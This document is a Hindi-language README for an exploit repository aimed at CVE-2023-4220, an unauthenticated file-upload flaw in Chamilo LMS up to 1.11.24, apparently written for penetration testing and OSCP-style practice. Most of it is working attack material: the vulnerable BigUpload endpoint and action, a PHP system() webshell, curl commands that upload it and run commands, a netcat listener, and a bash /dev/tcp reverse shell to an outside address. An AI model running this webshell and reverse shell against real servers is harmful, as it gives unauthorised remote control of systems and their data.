
CVE-2023-4220 — Chamilo LMS ≤ 1.11.24 में अप्रमाणित फ़ाइल अपलोड RCE. OSCP-शैली और स्वचालित एक्सप्लॉइट.
CVE-2023-4220 के लिए पायथन एक्सप्लॉइट, जो Chamilo LMS <= 1.11.24 को प्रभावित करने वाली एक अप्रमाणित मनमानी फ़ाइल अपलोड कमजोरी है।
यह कमजोरी Chamilo के BigUpload घटक में स्थित है। कमजोर इंस्टॉलेशन पर, अपलोड हैंडलर बिना उचित सत्यापन के PHP फ़ाइल को अपलोड करने की अनुमति देता है। चूंकि अपलोड की गई फ़ाइलें वेब-सुलभ निर्देशिका में संग्रहीत होती हैं, इसलिए अपलोड की गई PHP फ़ाइल को सीधे अनुरोधित किया जा सकता है और यदि PHP निष्पादन सक्षम है तो वेबशेल के रूप में उपयोग किया जा सकता है।
इस रिपॉजिटरी में एक्सप्लॉइट के दो संस्करण शामिल हैं:
chamilo_cve_2023_4220_auto.py
chamilo_cve_2023_4220_oscp.py
दोनों स्क्रिप्ट एक PHP वेबशेल अपलोड करती हैं, कमांड निष्पादन को सत्यापित करती हैं और cmd GET पैरामीटर के माध्यम से कमांड चलाने की अनुमति देती हैं। एकमात्र व्यावहारिक अंतर यह है कि --shell को कैसे संभाला जाता है।
auto संस्करण अपना स्वयं का लिसनर शुरू करता है, रिवर्स शेल को ट्रिगर करता है और स्वचालित रूप से इंटरैक्टिव सत्र में स्विच करता है।
oscp संस्करण रिवर्स शेल पेलोड को ट्रिगर करता है लेकिन लिसनर शुरू नहीं करता है। इसे चलाने से पहले आपको अपना लिसनर मैन्युअल रूप से शुरू करना होगा।
रिपॉजिटरी को क्लोन करें:
git clone https://github.com/SpeatX/ChamiloLMS-cve-2023-4220.git
cd ChamiloLMS-cve-2023-4220
आवश्यकताओं को स्थापित करें:
python3 -m pip install -r requirements.txt
एकमात्र बाहरी निर्भरता requests है, इसलिए इसे मैन्युअल रूप से भी स्थापित किया जा सकता है:
python3 -m pip install requests
लक्ष्य को -u या --url के साथ पास किया जाता है:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check
दोनों स्क्रिप्ट में समान विकल्प उपलब्ध हैं:
-u, --url लक्ष्य का आधार URL
--check जाँच करें कि BigUpload फ़ाइलें निर्देशिका तक पहुँचा जा सकता है या नहीं
--upload वेबशेल अपलोड करें और कमांड निष्पादन सत्यापित करें
--cmd CMD अपलोड की गई वेबशेल के माध्यम से एकल कमांड निष्पादित करें
--shell LHOST LPORT रिवर्स शेल ट्रिगर करें
--filename NAME अपलोड की गई PHP फ़ाइल के लिए कस्टम फ़ाइल नाम का उपयोग करें
--proxy PROXY ट्रैफ़िक को प्रॉक्सी के माध्यम से भेजें, उदाहरण के लिए Burp Suite
--timeout SECONDS HTTP टाइमआउट सेट करें
--verify-tls TLS प्रमाणपत्र सत्यापन सक्षम करें
--cleanup निष्पादन के बाद अपलोड की गई वेबशेल को हटाने का प्रयास करें
स्वचालित संस्करण में यह भी शामिल है:
--listen-timeout SEC रिवर्स शेल कनेक्शन की प्रतीक्षा करने का समय
जाँच करें कि अपेक्षित BigUpload पथ तक पहुँचा जा सकता है या नहीं:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check
PHP वेबशेल अपलोड करें और कमांड निष्पादन सत्यापित करें:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --upload
एकल कमांड चलाएँ:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id
कस्टम फ़ाइल नाम का उपयोग करें:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd whoami --filename shell.php
Burp Suite के माध्यम से ट्रैफ़िक भेजें:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id --proxy http://127.0.0.1:8080
उपरोक्त उदाहरण auto स्क्रिप्ट का उपयोग करते हैं, लेकिन समान सिंटैक्स chamilo_cve_2023_4220_oscp.py के साथ भी उपयोग किया जा सकता है।
--shell विकल्प दोनों स्क्रिप्ट में मौजूद है, लेकिन यह उपयोग किए गए संस्करण के आधार पर अलग-अलग व्यवहार करता है।
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --shell 10.10.14.3 4444
यह संस्करण 10.10.14.3:4444 पर एक स्थानीय लिसनर शुरू करता है, वेबशेल अपलोड करता है, रिवर्स शेल ट्रिगर करता है और स्वचालित रूप से इंटरैक्टिव सत्र खोलता है।
इस संस्करण का उपयोग करते समय आपको मैन्युअल रूप से nc चलाने की आवश्यकता नहीं है।
पहले अपना लिसनर मैन्युअल रूप से शुरू करें:
sudo nc -nlvp 4444
फिर दूसरे टर्मिनल से एक्सप्लॉइट चलाएँ:
python3 chamilo_cve_2023_4220_oscp.py -u http://target.com --shell 10.10.14.3 4444
यह संस्करण अपलोड की गई वेबशेल के माध्यम से केवल रिवर्स शेल पेलोड भेजता है। कनेक्शन आपके द्वारा मैन्युअल रूप से शुरू किए गए लिसनर द्वारा प्राप्त किया जाता है।
दोनों स्क्रिप्ट द्वारा ट्रिगर किया गया रिवर्स शेल कमांड इसके बराबर है:
bash -c 'bash -i >& /dev/tcp/10.10.14.3/4444 0>&1'
सुनिश्चित करें कि LHOST मान लक्ष्य से पहुँचा जा सके। VPN वातावरण में, यह आमतौर पर आपका टनल इंटरफ़ेस पता होता है:
ip -brief addr show tun0
CVE-2023-4220 Chamilo LMS के संस्करणों को 1.11.24 तक प्रभावित करता है।
कमजोर अपलोड हैंडलर यहाँ स्थित है:
/main/inc/lib/javascript/bigupload/inc/bigUpload.php
एक्सप्लॉइट द्वारा दुरुपयोग की जाने वाली क्रिया है:
?action=post-unsupported
अपलोड की गई फ़ाइलें आमतौर पर यहाँ से सुलभ होती हैं:
/main/inc/lib/javascript/bigupload/files/
एक्सप्लॉइट BigUpload द्वारा अपेक्षित फ़ॉर्म फ़ील्ड का उपयोग करके एक multipart/form-data POST अनुरोध भेजता है:
bigUploadFile
अपलोड किया गया PHP पेलोड एक छोटा कमांड रैपर है:
<?php echo "__SPX_START__"; system($_GET["cmd"]); echo "__SPX_END__"; ?>
कमांड cmd GET पैरामीटर के माध्यम से पास किए जाते हैं:
http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id
कमांड आउटपुट के आसपास के मार्कर HTTP प्रतिक्रिया के प्रासंगिक भाग को निकालने के लिए उपयोग किए जाते हैं।
स्क्रिप्ट द्वारा किया गया अपलोड इसके बराबर है:
curl -i -s -X POST \
-F '[email protected];filename=shell.php' \
'http://target.com/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
सफल अपलोड के बाद, कमांड निष्पादन को इसके साथ परीक्षण किया जा सकता है:
curl 'http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id'
--check केवल यह सत्यापित करता है कि अपेक्षित BigUpload फ़ाइलें निर्देशिका तक पहुँचा जा सकता है या नहीं। सकारात्मक परिणाम यह गारंटी नहीं देता कि लक्ष्य शोषण योग्य है।
पूर्ण सत्यापन के लिए PHP पेलोड अपलोड करना और --upload या --cmd के साथ कमांड निष्पादन की पुष्टि करना आवश्यक है।
यदि अपलोड काम करता है लेकिन कमांड निष्पादन विफल होता है, तो अपलोड निर्देशिका में PHP निष्पादन अक्षम हो सकता है, लक्ष्य पैच किया जा सकता है, या कोई सर्वर-साइड नियम अनुरोध को अवरुद्ध कर सकता है।
यदि आप चाहते हैं कि स्क्रिप्ट निष्पादन के बाद अपलोड की गई PHP फ़ाइल को हटाने का प्रयास करे, तो --cleanup का उपयोग करें।